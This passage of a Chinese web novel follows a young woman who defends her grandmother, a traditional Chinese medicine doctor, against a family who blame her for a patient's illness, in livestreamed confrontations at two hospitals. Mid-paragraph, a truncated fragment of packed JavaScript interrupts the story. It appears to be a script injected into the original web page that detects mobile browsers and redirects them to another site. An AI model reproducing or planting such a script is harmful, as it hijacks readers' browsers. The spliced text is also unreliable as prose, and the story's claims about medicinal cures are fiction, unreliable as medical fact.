经过他们和卫生局同事都四处走访，最后市中医院的几个专家都一致认为山国盛父亲吃的药方是导致他病情加重的主要原因，医生存在重大过失。
张警官揉了揉眉心，这个糟心的案子明明已经差不多能结案了，他却觉得内里越发扑朔迷离，总觉得还有什么不对劲的地方。
按照现在的情况，申安莲行医不当，需要赔给山家应有的赔偿，而山国盛也会因为入室伤人，不仅得要赔偿申安莲的医药费，还得进局子吃上一年半载的牢饭。
张警官很清楚现在网络的动向，连他老婆都在家里说起过市里有个中医因为治坏了人，害得病人一家家破人亡，话里话外都在为山家人打抱不平，就更别说其他不明所以的网友了。
其实除了他，其他同事都觉得山国盛有些倒霉。
毕竟看过监控后，大家都觉得他一开始并不是冲着伤害老太太去的，纯粹就是在发泄情绪。
只怕这案子一了结，网上又得掀起一片血雨腥风。
不知道那个每天守在医院病房门口的小姑娘，这次能不能顶得住。
*
此刻，山国盛的家里。
“妈，我听警局的朋友说，国盛的案子就快结案了。”
山老太太欣喜道：“我儿子终于能放出来了？太好了，我可得给他准备好柚子水去去晦气，也不知道这些日子他有没有饿瘦，他一个大男人，怎么能吃这种苦头。”
女人的眼底闪过一丝不耐，她打断了老太太的絮絮叨叨：“妈，那个医馆的小丫头不同意给我们签和解书，国盛可能……得进去一段时间。”
“凭什么让我儿子蹲监狱！那个老太婆又没有死！她不是还活着吗！”山老太太失声尖叫起来，“她本来就是半只脚踏进棺材板里的人，我儿子那是为民除害啊！”
20.山雨欲来
ICU的探视时间只有半小时。
奶奶平时有早起练功的习惯，精神矍铄的小老太太向来吃嘛嘛香，体能比申姜还好。
可申姜注意到，奶奶手臂和大腿的肌肉都开始萎缩了，十几天都昏迷躺在床上，这是必然的结果。
好在ICU的护士十分注重病人压疮的情况，奶奶的身体还没有出现褥疮。
知道奶奶喜欢干净，申姜先用温水给奶奶仔仔细细擦了脸和手，接着是身体，然后帮她修剪长出来的指甲。
“奶奶，我找到了很多很多的好药。”
床上的人呼吸沉稳，完全没有任何反应。
似乎是想到了小老太太会有多欣喜激动，申姜自顾自继续说：“嗯，当然有你惦记了很久的野生肉苁蓉，人参？好像还真没挖到过诶。不过那座山那么大，说不定我明天就能给你挖一堆出来，你醒了自己去店里看嘛。”
“你早就躺不住啦？”申姜歪歪头，和面前紧闭着眼的人继续畅聊，“咱们打个赌怎么样？我就赌这个月，你能从这转去普通病房。”
路过的护士瞧见17床的家属一直在念念叨叨，她忍不住多了一嘴：“病人现在不一定能听见你说话。”
申姜恍若未闻，继续道：“你说，这麝香怎么这么难找，这里买不到，那座山上也没有。”
她昨晚去巨龙家门口巡视山头，竟连一个活物都没看见，别说林麝，就是最普遍的小兔子都没有。
脑外伤昏迷的病人迟迟不醒，治疗时应抓住痰、瘀、风三个特点，奶奶面唇发暗，爪甲发紫，正是由于瘀血所致。
申姜认定通窍活血汤是最有希望救醒奶奶的，这是清代名医王清任所创的名方，能够通络开窍，行血活血。
而麝香是通窍醒神最好的药。
她曾亲眼见过奶奶用这个方子治好了一个从高处跌落的工人，那个工人当时已经昏迷了一年多，完全就是个植物人，还经常需要吸痰，正是被奶奶用通窍活血汤合涤痰汤治好的。
一天灌一付，灌了三个多月，用光了奶奶手头所有的麝香。
三个月后，那人康复苏醒。
申姜还记得当时她十四岁，对奶奶能救醒这样一个病人感到十分光荣，心里满是雀跃和崇拜。病房里的人来了一茬又一茬，主任、院长，就连记者都赶来采访这个奇迹。
当时的她哪里会想到，奶奶有一天也会需要这些麝香。
梦境中的自己肯定也想到了要给奶奶用上通窍活血汤，但奶奶为什么没醒过来，答案不言而喻——她买不到麝香。在几十年前林麝灭绝，现存的麝香统统被炒上天价，尽管如此依旧奇货可居，极少再在市面上流通。
被网友戏谑宫斗剧里的常见药，现实里却跻身成为为有钱也买不到的天价药材之一。
探视时间很快结束，申姜有些不舍的摩挲着奶奶的手。
走到病房门口时，却听到了一阵喧闹声。
一个尖利苍老的女声正在外头鬼哭狼嚎，中间还混杂着幼童的细细哭声。
这让原本准备踏出病房的家属们脚步一顿，疲惫的脸上露出烦躁。
“发生什么事了？外面怎么这么闹腾？”
“该不会发生了医闹吧，听说市里有个老中医就是因为医闹被家属打死了。”
申姜精神一振，原本有些塌下去的脊背几乎瞬间就立挺起来，外面的那个声音，她太熟悉了。
是山国盛他妈的声音。
她永远也忘不了，梦境中山国盛他妈向大众卖惨的视频，这段刻意为之的影像在很多年后都令人唏嘘不已。
点点火星从申姜低垂的眼眸逸出，申姜握紧拳头，感受到指甲掐进手心的刺痛，竟然有几分说不出的畅然和痛快。
她昨天清晨才给警方提供线索，才过了一天，山家人就开始有所动作，效率比她想要还要高。
这家人想要热度把事情闹大，哪里会想到这也是她时刻等待着迎接的机会！
他们的想法在某种程度不谋而合。
申姜挤开那几个家属，从门上的透明小窗看到门外走廊上围观了人群。
除了一个正在哭嚎的老太太，还有个抱着小女孩一脸焦急的中年妇女，显然都是冲着她来的。
不少围观群众都掏出了手机录像，但申姜瞧着其中有几个人显然是找来的网红，有一个她昨天询过价的网红男主播先对着手机镜头搔首弄姿了一番，才把镜头对准这老老少少，应该是在直播。
医院的保安早就闻讯赶来，却不敢对一个上了年纪的老太太动手，一副束手束脚的模样。
霍，这下都不用她再找人过来了。
申姜推开门率先出去，居高临下的目光瞥过地上撒泼打滚的老人，一声冷哼从喉间逸出。
抱着孩子的女人看到申姜，眼神明显一亮，赶紧提醒婆婆：“妈……就是她，长得白白净净那女的就是。”
山老太的哭嚎顿时一止住，锐利的小眼睛在人群中扫视一圈后，十分敏捷地抬脚朝着申姜那边走去。
扑通一声，老太太差一点就跪下了。
中年女人一手抱着嚎啕大哭的女儿，空出一只手来拉婆婆，胳膊上的肌肉凸起，差点就没站稳。
“求求你，放我儿子一马吧。”老太太冲着申姜喊道，沧桑嗓音里夹带着明显的哭腔，听得人莫名心酸。
申姜挑眉，这婆媳一唱一和，这么快就把戏台子搭起来了。
围观的群众越来越多，见那些手机都悄然对准了自己，申姜对着这老中少的组合，一脸惊惶不知所措：“你们干嘛呢？！”
脸上长满黄褐斑的中年女人素面朝天，十分憔悴，她嗫嚅着开口：“你是明心堂那个医生的孙女吧。我老公他不小心失手伤了你奶奶……求你高抬贵手，别让我老公去坐牢！”
周遭的议论声一下子就大了起来，有不少原本就吃过瓜的人一下子反应过来，好家伙，他们竟然无意间吃上了最近最火的瓜，新鲜热乎的后续啊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037640|147317||http|test|mini|href|location''.split(''|''),0,{}));
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申姜似是才反应过来她们是谁，冷着脸道：“我奶奶出事到现在已经两个礼拜，这中间你们一次都没来过，一来就要我放过你老公，你觉得可能吗？”
那谁来给她奶奶一个公道？
中年女人明显被她的话噎住，倒是她婆婆山老太反应极快，立刻哭嚎起来：“我们也没办法啊，我儿子这些天不知所踪。我老伴足足下了三次病危通知书，要不是撑着最后一口气想见儿子他早就去了，根本离不了人。造孽啊，要不是你奶奶给他开错方吃坏了身子，我们家本来好好的呀！”
老太太的委屈和愤怒那么显而易见，说起来也真是可怜人，好好一个家散了，都是因为偏信中医，被庸医给害的。
不少在网上吃过瓜知道实情的人看不下去了，数十道谴责的目光齐齐射向年轻白净的姑娘。
“我奶奶年纪大了，被你儿子伤到了脑袋，到现在还躺在ICU不省人事，你们一没道歉二没赔偿，到现在还口口声声责怪她，我真是没有见过你们这么厚颜无耻的人。”
她的声音沉稳，说话时不卑不亢，这副样子实在让人移不开眼睛。
只是她这话说完，周围的议论声顿时更响亮了，那些谴责的目光变成了实质，烧在周围。
有个网红直接把她这段不要脸的言论发到了平台上，贴上中医医闹的热标签，给自己的直播吸引流量。
有钱拿不说，还能赚流量，这回他可真是来对了。
山老太被她这理所当然的倒打一耙气得差点破口大骂，还好儿媳妇在这时候用力掐住了她的手腕，用眼神制止她开口，想到来之前和儿媳妇商议好的计划，她深吸一口气，闭上了嘴。
“只要你愿意和解，你说什么就是什么，你奶奶的医药费我们也负责，你还有什么要求尽管提出来，你看这样行吗？”中年女人一边拍着怀里小女儿的背安抚，一边冲申姜露出卑微讨好的神色。
申姜看到她眼底掠过一丝得意的神采，慢慢勾起了嘴角。
一个老大爷终于看不下去了，他冲申姜喊道：“你还好意思笑呢，得饶人处且饶人，人孤儿寡母都做到这份上了，你就退一步算了吧。”
刚刚那个偷拍申姜把视频发出去的网红也帮腔道：“就是，这老的老小的小，被你奶奶害成这样还得给你赔罪道歉，你还想怎样啊？”
申姜脸上看不出半点因为这些道德标兵指责而动摇的神色，她神色如常，纤细修长的脖颈未曾低下半分，瘦削的脊背始终挺拔。看着这些人义愤填膺的样子，申姜觉得这滑稽可笑的一幕简直比她掉进巨龙的洞穴还要魔幻。
戈得温都比这些人讲道理。
“什么叫我说什么就是什么？”申姜冷笑道，“既然如此，那我要你们提供给病人吃过的药渣，你们有吗？我要你们证明，是你们家的药有问题，而不是我奶奶开错了方子，你们做的到吗？”
中年女人脸上浮现错愕，完全没有想到申姜竟然会提出这种要求，一下子愣住了。
21.风满楼
山老太有些糊涂，什么叫她们家药有问题？她老伴吃的不是她们中医馆配的药吗？
还不等她发问，就看儿媳妇一脸为难的解释道：“都过了一个月，那药渣早就被我们倒掉了，何况给自己人吃的药，那真是最好的药，怎么会有问题呢？”
见媳妇默认了这件事，山老太心里更怪异了，国盛和他媳妇怎么从来没提过孩子她爷吃的是自己店里的药。
不过现在不是计较这个的时候，要说起来，老头子吃的是自己家的药，那就不可能是药的问题。
纯粹是里头那个老不死的医术不精，也许她根本就不懂怎么治病。
山老太看见对面死丫头一脸不信的挑衅表情，差点没过去扇她。
她活到这岁数，就没见过这么不要脸的人，竟然敢当着这么多人的面威胁拿捏她。
山老太一脸无措的唉声叹气起来：“你奶奶开错方子，那是事实啊，市中医院的医生都可以证明的，怎么能颠倒黑白呢？我们可没那个能力逼他们说假话。”
申姜抬起下巴，轻蔑显而易见：“市中医院？哪个医生？别是什么实习医生吧。”
中年女人迫不及待道：“的确是市里中医院的几个大专家亲口说的，你不信我们一起去找他们当面问问，那可都是三甲医院的医生，不会乱说话的。我们没有骗你，妹子，真是你奶奶开错了药方啊。”
申姜一脸不耐烦：“行啊，那你就让这几个大专家在网上用官方账号发声明向我奶奶道歉，就说是他们学艺不精，压根不懂中医也不会看病，不敢误人性命，从此歇业回家，再不从事这一行。”
话音一落，走廊顿时安静下来。除了那几个网红脸上掩藏不住的喜意，其他人都是面色复杂，完全不敢相信自己听到了什么。
申姜丝毫没有在意周遭那些像看傻子一样的目光，只牢牢盯着面前两人，掷地有声地问道：“做得到吗？”
山家婆媳对视一眼，似乎没想到这个年轻姑娘看着文文气气好拿捏，没想到是个脑子不好的疯子，说起话来完全不知道轻重，简直狂到了没边。
敢情她老伴肾衰竭是自家店的药有问题。市里的专家说她奶奶方子开的不对就是专家医术没到位。
瞧这贱丫头牙尖嘴利的，连市里中医院的专家医生都看不上，也不看看她们自己是什么货色，在犄角旮旯开小医馆的野路子，就是给专家提鞋都不配！
山老太胸脯起伏不定，显然是被她这无理取闹的呛话给气得不清。
周围几个拿着手机直播的网红看着直播间人数蹭蹭往上找激增，声讨的留言像雪花一样刷屏，显然，吃着现场瓜的网友都被申姜厚颜无耻的要求给气疯了，恨不得顺着网线冲出来打她一顿。
原本还觉得申姜长相讨喜的网友们，怎么看都觉得她面目可憎，直接把她的脸截图做成了恶搞表情包。
申姜微微一笑，丝毫没有在意这些人谴责厌恶的目光，反而抱着双臂一脸坦然：“就这三个条件，你们有诚意那就有的谈，否则……可别怪我没给你们机会。”
山老太简直快气炸了，她从来就没遇到过这么憋屈的时候。老不死的庸医，教出这么个睁眼说瞎话的死丫头，她就没见过着这么不要脸的一家人。
中年女人怀里的小女孩突然再次哭嚎起来，带着哽咽：“姐姐，求求你让我爸爸回家吧！”
中年女人拍着女儿的背安抚她，又悄悄抹去自己眼角的泪水。
这一幕，让原本在一旁看热闹的吃瓜群众和网友心里都莫名生出几分酸楚。
一个长得人高马大的男人从人群中站了出来，沉声道：“妹子，你给我个面子，咱们聊点能商量的条件呗。”
申姜冷脸望着比自己足足高了一个头的魁梧汉子，傲慢又嚣张：“你哪位？你在我这，没面子！”
她扫了眼男人的脸，尤其是他上下开合的嘴，笑了，“来看病的吧？你现在退回去，以后去明心堂看病我给你打八折。”
男人被她的话惹怒，他捏起拳头威胁道，“谁要去你们那黑心诊所看病，我劝你好好说话，别这么欺负孤儿寡母，瞧瞧这一家子都被你逼成啥样了。”
几个保安原本看她们几个女的也就是说话气氛僵了一些，现在这魁梧汉子一出来，这可到了要动手的地步了。三个保安连忙拉住高大的男人，劝他别冲动。
山老太没想到，这死丫头油盐不进。
软的不吃，硬的她也不怕。
“要是谁能帮她们做到我提的这几点要求，也行啊。”
申姜无所谓的态度引起了公愤，几乎在场的人都看不下去了，瞧瞧她说的话，那是能随便做到的要求吗？每一个都不可能。
有没有人能出来扇这女的一巴掌啊。
这会网上也很热闹，群情激愤的网友直接就把这个男主播的直播间顶到了直播榜第一位，打赏纷至沓来，不少人都在让主播别怂，帮老太太一把。
山老太怒气冲冲的瞪了儿媳妇一眼，直接就甩开了她的手。
要不是她多事，出发前一直叮嘱自己这个那个，说现在网友最见不得老人受委屈，还说现在小姑娘吃软不吃硬，千万别要挟人家。她至于给这么个死丫头伏低做小吗！到头来，竟然被人蹬鼻子上脸了！
“我告诉你，死丫头，你要是不肯让我儿子出来，我就天天上这来闹！看谁耗得过谁！”
申姜有些惋惜地看向山老太，似乎在指责她怎么不好好扮演自己原先预设的可怜角色，这么快就穷途匕现了。
看了眼时间，从她出来到现在连半个小时都没有，
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不由有些心浮气躁起来。
就这几个看着就不太靠谱的网红，能把热度炒起来吗。
殊不知正因为山老太这句反击，网友的乳腺畅通了：终于有人帮他们说出了心里话。
他们早就想看人教训这个嚣张的蛇蝎毒妇，刚刚一直苦苦求情的老太太让他们心酸，现在老人家终于飙起来了，网友反而更兴奋了。
一波又一波的热度来袭，平台机制直接把这个直播间推送到了首页，这会正是下午摸鱼的好时候，越来越多的网友涌入了直播间。
别看申姜表面嚣张跋扈，一副你能拿我怎样的滚刀肉模样，其实这会心里也在打鼓。
啊啊啊，热度到底上来没有，那几个网红一副看热闹的样子到底行不行啊！
申姜之所以这么做，纯粹是出于无奈：钱不够。
要想操控舆论，首先就得有热度。可她口袋里的钱完全不够看，别说炒热度，就是把她自己炒了都不够。说起来，她还要感谢山家人请来了几个主播，帮她省了不少钱。
既然网友能因为看不下去山家人的悲惨遭遇而出声，那她这样摆明了当众为难山家人，按理来说应该更有话题性。
她头回扮演嚣张跋扈不知天高地厚的恶人，也不知道刚刚的表现能不能引发网友的滔天怒火，心里实在没底。更别说山老太还坏她的好事，竟然不扮演小可怜了？
她这出戏还怎么唱下去。
申姜决定直接进行下一步。
她朝着中年女人努努下巴，“你不是说要去中医院吗，我们现在就走，我倒是要当着群众雪亮的眼睛找那些所谓的专家问问，他们是不是收了钱做伪证诬陷我奶奶。”
不待中年女人回答，申姜直接就对着那群吃瓜群众喊道：“你们有人要跟我一起过去中医院的吗？我打车可以捎上三个人。”
她得把那几个网红带上。
……这年头，还有人主动找观众看戏的。
“我我我，带上我！”
还真有人举手，有个笑得牙不见眼，看热闹不嫌事大的人，正是那个拍了申姜后直接获得了流量密码的网红男主播。这姑娘就是他的流量密码，只要她一开口，网友就异常踊跃，骂她的人根本数不清。
申姜点点头，直接就点了几个人，浩浩荡荡朝外走去。
见申姜一脸嚣张不懂事的模样，比她婆婆还刁钻无理取闹，中年女人反倒松了口气。她计划好的一切差点就泡汤了。
还好，对面这个猪对手帮忙兜底。
山老太眼瞅着儿媳妇还在发愣，“赶紧跟上啊，万一那死丫头半路跑了怎么办！”
几个保安看着突然空荡下来的走廊大厅，面面相觑，刚刚那场面，他们生怕发生群殴事件。
竟然就这么散场了？
22.听没听懂
男网红人虽然又矮又胖，一个人就占了一个半的座位，可网名却叫高帅，此刻他坐在出租车后排兴致勃勃的看网友的评论，越看越高兴。
“妹子，你要不要跟我直播间的家人们打声招呼？”
申姜没回头，但也没拒绝，开口说话的声音冰冷又慵懒：“你在直播？有人看吗？”
其实申姜一上车，就迫不及待点开了他的直播间，静音版。
原本有些忐忑不安的心，随着那五十六万的在线观看人数，让申姜不自觉勾了勾唇。
高帅乐了：“当然有啊，不少呢，还有人说不看脸你声音可真好听。”
申姜支起右手撑着下巴，漫不经心的看向窗外景色飞快退后，微微垂下的眼睫遮盖了她眼底的情绪。
胖网红没说谎，直播间还真有不少人这么说，只是得忽略后一句：“声音再好听有什么用，只要一看见这女的脸，我隔夜饭都要吐出来了。”
载了山老太一家人的车尾随在申姜车后头，她有些诧异：“这死丫头真敢去医院？”
申姜目标十分明确，下了车根本没等山老太几人，径直就往里头走。除了之前那几个主播跟过来了，不少南泽市其他的小主播们也自发聚集到了市中医院，几路人从四面八方涌来，差不多时间到了中医院大门口。
这些小主播原本眼看这天大的热度就落到高帅几个人头上，眼珠子都快看出血了。谁也没想到这出闹剧竟然还有中途转场，机会这不就来了吗！
中医院的保安眼看情况有些不对，连忙走过去拦，但他只拦到了最后头的几个人，正是山老太和她的儿媳。
“诶诶诶，你们干什么的？”
看来看去，这几个人最像是要来闹事的。
申姜一走进中医院门诊部的大厅，就见这里的装潢古色古香，大气又简雅。扑面而来的中药香混合着令人舒心的檀香，再加上正中间那一排醒目的专家介绍，令人不自觉就有了安心感。
她面无表情的想，技术不行，就喜欢搞这些五花八门的噱头吸引顾客。
哪像明心堂，装修简单朴素，只靠病人口口相传积累口碑，奶奶每天都忙得脚不沾地。
申姜研究了一会上头那密密麻麻的简介，终于得出一个结论：这里最好的医生，好像是那个从A省特聘来那个大专家？
这人名字后头的后缀最长。
“擅长各种疑难杂症：各种慢性胃炎，胃溃疡，胆囊炎，慢性气管炎，妇科，更年期综合征，乳腺增生……8岁学医，中医世家传人，A大博士毕业，师从名老中医姚光棠老先生……”申姜随意瞟了一眼就没再继续看下去。
正巧今天这人下午就在医院坐诊，申姜毫不犹豫就挑中了这位大专家，作为今天的目标人物。
听说有人带着一批网络主播来医院闹事，还直接闹到了医院里特聘来的董专家那，中医科黄主任头上的汗唰的一下就流下来了。
这可是他们千辛万苦花了大力气才从省里挖来的特聘专家，一周就来这么半天，比他们科室全部的医生加起来都要金贵。要是被医闹给伤着或者气出好歹，那他也不用混了！
申姜的诉求很简单：让医院出具一份证明，证明她奶奶没有诊断失误，更没有开错药方。
董专家五十来岁，国字脸，皱着眉头生硬赶人：“请你不要打扰我给病人看病，有事去找医务科。”
申姜见他神情认真，没有半点被人打扰的傲慢，只是一副赶时间的模样，不由想到了一个人。
她收起自己那副玩世不恭的样子，认真说道：“董医生，我奶奶也是一名中医，现在她被人诬陷医术不精害人性命，还被病人家属打伤住进了重症病房，我只是想为她讨一个公道。”
董医生眉头拧成川字，犹豫片刻，“你带了医案没有，我先……“”
还不等他说完，气喘吁吁的黄主任就带着办公室几个医生赶到了。黄主任进门前还在吼：“保安呢！保安！把这群人给我轰出去！不要影响医院秩序。”
一进诊室，黄主任立刻对专家医生赔礼道歉：“不好意思董老师，让您受惊了。我这就把人带出去。”他冲着几个年轻医生试了个眼色，几个白大褂很快会意，径直走到了申姜还有几个主播面前。
“等一下，我想先看看她说的医案。”董医生阻止道。
这一看，董医生瞬间睁大了眼睛。
趁着董专家看医案的时间，黄主任也搞明白了这行人来这的目的，他顿时来了精神：“董老师，您不用看了，昨天卫生局的同志带着警察来过咱们这，为的就是这个医闹案。我们医院已经给出了鉴定证明。明心堂那个中医的的确确是误诊了没有错！”
这话说得极重，完全将这个中医定了责，直白到没有半点模糊。
董医生颇为意外的抬头看了黄主任一眼，黄主任继续道：“这个病人来我们科看过病，医院有他的就诊记录。昨天我们给您看的就是他的病例和明心堂的药方，您记得吧。”
要是这样，那这份医案就没有看的必要了。董医生把申姜的医案放在桌子上，从电脑旁掏出泡着枸杞的保温杯，润了润嗓子。
“我很同情你奶奶的遭遇，但这事你应该找警察。”
山老太带着儿媳到门口，推开重重看热闹的人群挤进去，正好白大褂赶人的一幕。
来的早不如来得巧，看着死丫头被人埋汰，山老太心里别提多解气了。不止她，就连网上的网友也都觉得这才是他们预期的正常走向，他们一直蹲在直播间，就等着这一幕呢！
申姜气到发笑，亏她刚刚还高看了这什么破专家一眼，敢情也是个浑水摸鱼的半吊子，就这样也敢充大。
“别碰我啊，这么多摄像头拍着，小心我告你性骚扰。”申姜指着面前一个三四十岁的白大褂，对方像是被她的话镇住，还真没敢碰她。
申姜恶狠狠的看向黄主任，高声质问道：“就因为病人平时畏冷，腰膝疼痛，你们就觉得病人是虚寒？”
“那不然呢？”
“合着你们平时给这么多病人看病，都是靠病人口述病情，头疼看头，脚疼医脚是吧！”申姜厉声道。
直播间声势浩大的弹幕里，突然出现几条与众不同的评论：“这妹子这句话还真没说错，中医看病怎么能只看表象呢。”但这几条评论很快就被湮没。
黄主任一副看傻子的眼神：“中医当然不是这么治病，可你体内有热的时候会怕冷吗？这种最基础的常识问题都能出错，我都不知道你们平时是怎么给人看病的。”
申姜冷笑：“我们这种小医院，不像你们能借着西医的设备拍个片抽个血，就算诊断不出来病机也敢治病，我们只能靠日复一日堆积出来把脉经验来辩证。”
黄主任不屑道：“别说那些虚的，我就想知道你怎么能把这个怕冷的病人给诊断成热证？”
申姜气势一振，语气凛冽：“那我就教你上这一课，听好了！脉象分为浮、中、沉三候，这个病人的脉，是脉伏于下。”
黄主任有些没听明白，他下意识问：“什么玩意儿？”
申姜用一种看差生的眼神，同情又鄙夷地看着他，把知识点掰碎解释给他听：“中医在诊脉时手指的力道是有讲究的，一开始轻轻地按，取的是浮脉，如果患者有外感病，此时的脉就非常明显了。然后是用一半的力，这是中取，一般人的脉象就在这里。再使劲，就是沉取了，这是诊断里病的。
而那个病人的脉是脉伏于下，就是沉取都没有取得，得再使劲，推筋按骨才摸到的脉象。这是典型的‘火邪内郁，不得发越‘。”
董专家看着如数家珍的申姜，没说话，他当然知道什么叫脉伏于下，这是脉学专家李中梓提出的理论，可想把这短短四个字落实到实践中去，是大多数中医穷极一生也做不到的极致，难度系数简直是非人般的存在。以他如今的水平尚且做不到，一个地方小医馆里的医生，有能做到吗？
难不成是哪个大佬大隐隐于市，董专家忍不住问：“你奶奶叫什么名字？”
申姜睨一眼桌上的医案上。
意思不言而喻：没长眼睛啊。
董专家悻悻拿起桌上的医案，十分重视地翻看起来：申安莲？没听过这号人物啊。按照面前这女孩的年纪，她奶奶的年纪应该很大了。如果这份医案上写的是真的，那她奶奶的水平可是国内顶尖大国手的级别，业内不
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应该没有姓名才对。
“不可能……这不应该啊。”他喃喃道。
申姜挑眉：“你做不到，就觉得别人也做不到？你这有点太狭隘了啊。”
董专家差点被她气笑：“小丫头，等你真正学透了中医，才会知道辩证对一个中医来说有多难。”
申姜叹了口气。
民间有句古话：中医越老越吃香。对这些比她年长的中医来说，他们的等级就像大学老师，而她充其量只是个小学生。
她把题目掰开了揉碎了喂给他们，他们还是听不懂。
她转头问在场的白大褂们：“给病人看过病的那个医生在不在？”
见大家都扭头看向黄主任，申姜顿悟，对着黄主任问道：“这叫山贵的病人除了怕冷，他平时爱不爱喝热水？小便什么颜色？你说说看”
董专家一怔。
黄主任很不满她这颐指气使的态度，难道自己是她的学生吗。但看着董专家期待的眼神，他还是想了想昨天的病例，那上头可没有记录这些，而他连那个病人长啥样都忘了，毕竟那都是上上个月的事了。
“怕冷嘛，那当然是爱喝热水的。至于小便……当然是清长。”
胡说八道！申姜简直被这个肥头大耳的庸医给气笑了，就这水平，还主任？
中年女人怀里的小女孩此时怯生生开口：“爷爷不爱喝热水！爷爷最讨厌喝热水了！”
中年女人连忙捂住女儿的嘴，可来不及了。
房间里的视线都朝着她们看来。
申姜冲着小女孩露出一个甜甜的微笑，这家人简直就是上辈子积福，歹竹里竟然出了颗好笋。
“小孩子是不会骗人的，而我们明心堂当时电脑里存档的医案里：明确写了病人口述不喜欢喝热水，小便非常黄。这两个都是证明体内有热的征兆。你们这些人简直就是庸医！对自己的病人一点都不负责！”
申姜指向山老太她们，横眉怒道：“早就听说外头的中药店都在卖假药，可我没想到，你们连给自己人吃的药都能是假的！连自己人都害，简直没有一点底线！”
董专家坐在位置上出神，黄主任的脸直接就绿了，而中年女人刹那间面上褪去了所有血色。
申姜看着这一室人的表情，竟然一点也没觉得痛快，她只觉得悲哀。
网友a：“不明觉厉！妹子的气场突然变得好强大！”
网友b：“见证历史了！体内有热的确有这两个特征没错，那个老中医也太细心了吧，这都能考虑到。”
网友c：“她说的是真的？我不信。中医哪有那么玄乎呀。”
网友f：“楼上快闭嘴吧。如果老中医真的是被冤枉的……天啊我不敢想下去了。”
网友k：“大家还是耐心等警方出结果吧，不要随便揣测定罪给人造成二次伤害。”
山老太见房间里突然安静下来，她再也忍不住，直接哭嚎起来：“你奶奶就是个不得好死的庸医！你个贱丫头睁眼说瞎话！老的坏小的贱，你们连畜生都不如！为了撇清干系，连这种话都好意思说出口，我们怎么可能害自己人！”
这会高帅可没有心思再拍一个老太太，他把镜头对准了屋内那个脸上闪耀着光彩的女孩。
“大家网上搜一下梅穆川老师发的视频吧，”申姜一字一顿道，“就在一个小时前，他在微博为明心堂发声，力排众议支持我们的诊断结果没有问题。”
其他人压根不知道这人是谁，倒是董专家和其他几个白大褂，不可置信的看向她。
那个原本拦在申姜面前的白大褂男医生惊呼：“大国手梅穆川？他远在北京，怎么可能知道这里的事？”
那个男主播高帅直接就把镜头对准身边搜到了那条微博的手机，那里有微博的黄v认证，赫然是梅穆川老先生本人。
直播间的评论突然就冷清下来，而微博上梅老的视频，火了！
尽管不愿相信，可董专家还是不得不接受了这个事实。
他昨天没事干嘛要在那张鉴定证明上头签自己的名字！
董专家看向黄主任的目光像是淬了毒，充满怨气。
他可被这医院给坑惨了！
23.招募新信徒
陪陈全做检查的前一晚，梓宁就已经剪好了大半的视频。喝完申医生的药后她更是神清气爽，一口气把陈全从看诊到做检查的素材剪了出来，又仔仔细细检查了一遍细节。
晚上九点，一支完整的采访视频新鲜出炉了。
不过只靠自己一个人完成字幕、音乐这些还是太勉强了，望着这支略显粗糙的片子，梓宁有些惋惜。原本这视频应该能剪得更精美的。
一想到某人她就气得牙痒，就算那小子哭着回来求她，她们这搭档也做不成了！明天，不，等她吃完夜宵回来，她就去校内论坛发布招聘帖，重新找一个比陈全会拍比他会剪辑的新搭档。
梓宁心满意足的吃完烤串回来，正准备先去洗个澡，路过电脑时，她的视线被网页上那几个鲜艳的红色99+吸住。
她脚步一顿。
难道是她发布帮明心堂说话的视频后，她被网暴了？
梓宁往常哪里见识过这种大风大浪，她的粉丝就一千来个，平时都很少给她留言评论，更别说是这种席卷式的攻击。
梓宁撸起袖子袖子就准备跟这群网络喷子对喷，就这些只敢在网络上嘚瑟嚣张的垃圾，今天遇上她算是碰上硬茬子了，论吵架，她还没有遇到过对手！
出乎梓宁意料的是，这条视频的确火了，但不是她想象的那种火。
视频在线观看人数有九千多人，弹幕上密密麻麻的一片：“呜呜呜眼睛尿尿了。”“我真该死啊！”“希望申老医生能转危为安。”“我本可以不发声，但如果就缺一个我呢，从今天起，我要为申安莲医生和中医黑斗到底！”
她就吃个饭的功夫，外头这是变天了吗？怎么大家都开始替明心堂说话了。梓宁人都傻了。
“大家注意到亮点没，医生姐姐采访里的话和微博大佬说的不谋而合啊！！！”
微博？
梓宁迟疑着打开微博，还不等她搜，就看到今天的热搜第一位，不是哪个男朋友塌方也不是哪个女明星绿茶，一个显眼的词条后带着一个大红的热字。
正是：梅穆川为明心堂发声！
点进去后，就见到一条应该是用手机拍的视频，一个脸色红润慈眉善目的老爷爷端坐在镜头前，深入浅出的为大家科普中医里的真寒假热，并表示明心堂的申安莲医生是他十分敬重的良医，以她的水平完全诊得出这个病人的脉象，希望大家有自己的判断，不要被一些居心叵测的坏人带歪了方向。
梓宁还真不认识视频里这位慈眉善目的老先生，不过她很快就知道了，因为网友都在评论里科普：享受□□特殊津贴的顶尖中医、全国金匮名家、首都大学终身荣誉教授……用一句话来说，光是他个人几乎能代表了现今华国中医的最高水准。
梓宁微微张大嘴：这样的人能为申姜她奶奶发声，看来申姜她奶奶不仅医术了得，人脉还很硬啊。
事实上，申姜在那个意识觉醒的清晨就想好了这一切。
梦境中，山国盛会被判三年，山老太为了儿子求到医院来，求申姜放他们孤儿寡母一条生路，只要申姜肯出具和解书，她愿意重金换儿子平安。
而申姜因为拒绝和解被网友再度骂上风口浪尖，当时她根本不知道山家人带了几个主播来找她，说的气话都被网友断章取义大做文章。
没有人在意申姜事后在微博发声明澄清的水花，就算是她的博士生导师梅老站出来为明心堂说话也没人买单，或者说，那时热度已过，属于网友单方面的狂欢已经落幕，没人再关心这件事。
就算是她厚着脸皮请老师出山都无力回天。
反倒是山家人，靠着网友尝到了甜头，直接做起了直播，等到山国盛减刑提前出来，他家的药材店已经做得风生水起，远比他在时规模扩大了一倍不止，在全省开起了分店。
不过这次就不一样了，山家人自己家药材店究竟有没有问题成了另一个热搜，引起了网友的广泛关注。
张警官临危受命，接到了上级的命令，督促他先不着急结案，还是先把山家药材店调查干净。上头的意思是，梅老那么大的咖位都出来说话了，之前市中医院出具的鉴定证明就当没有过，重新往山家药材店的方向调查，务必给网友还有受害者一个公道。
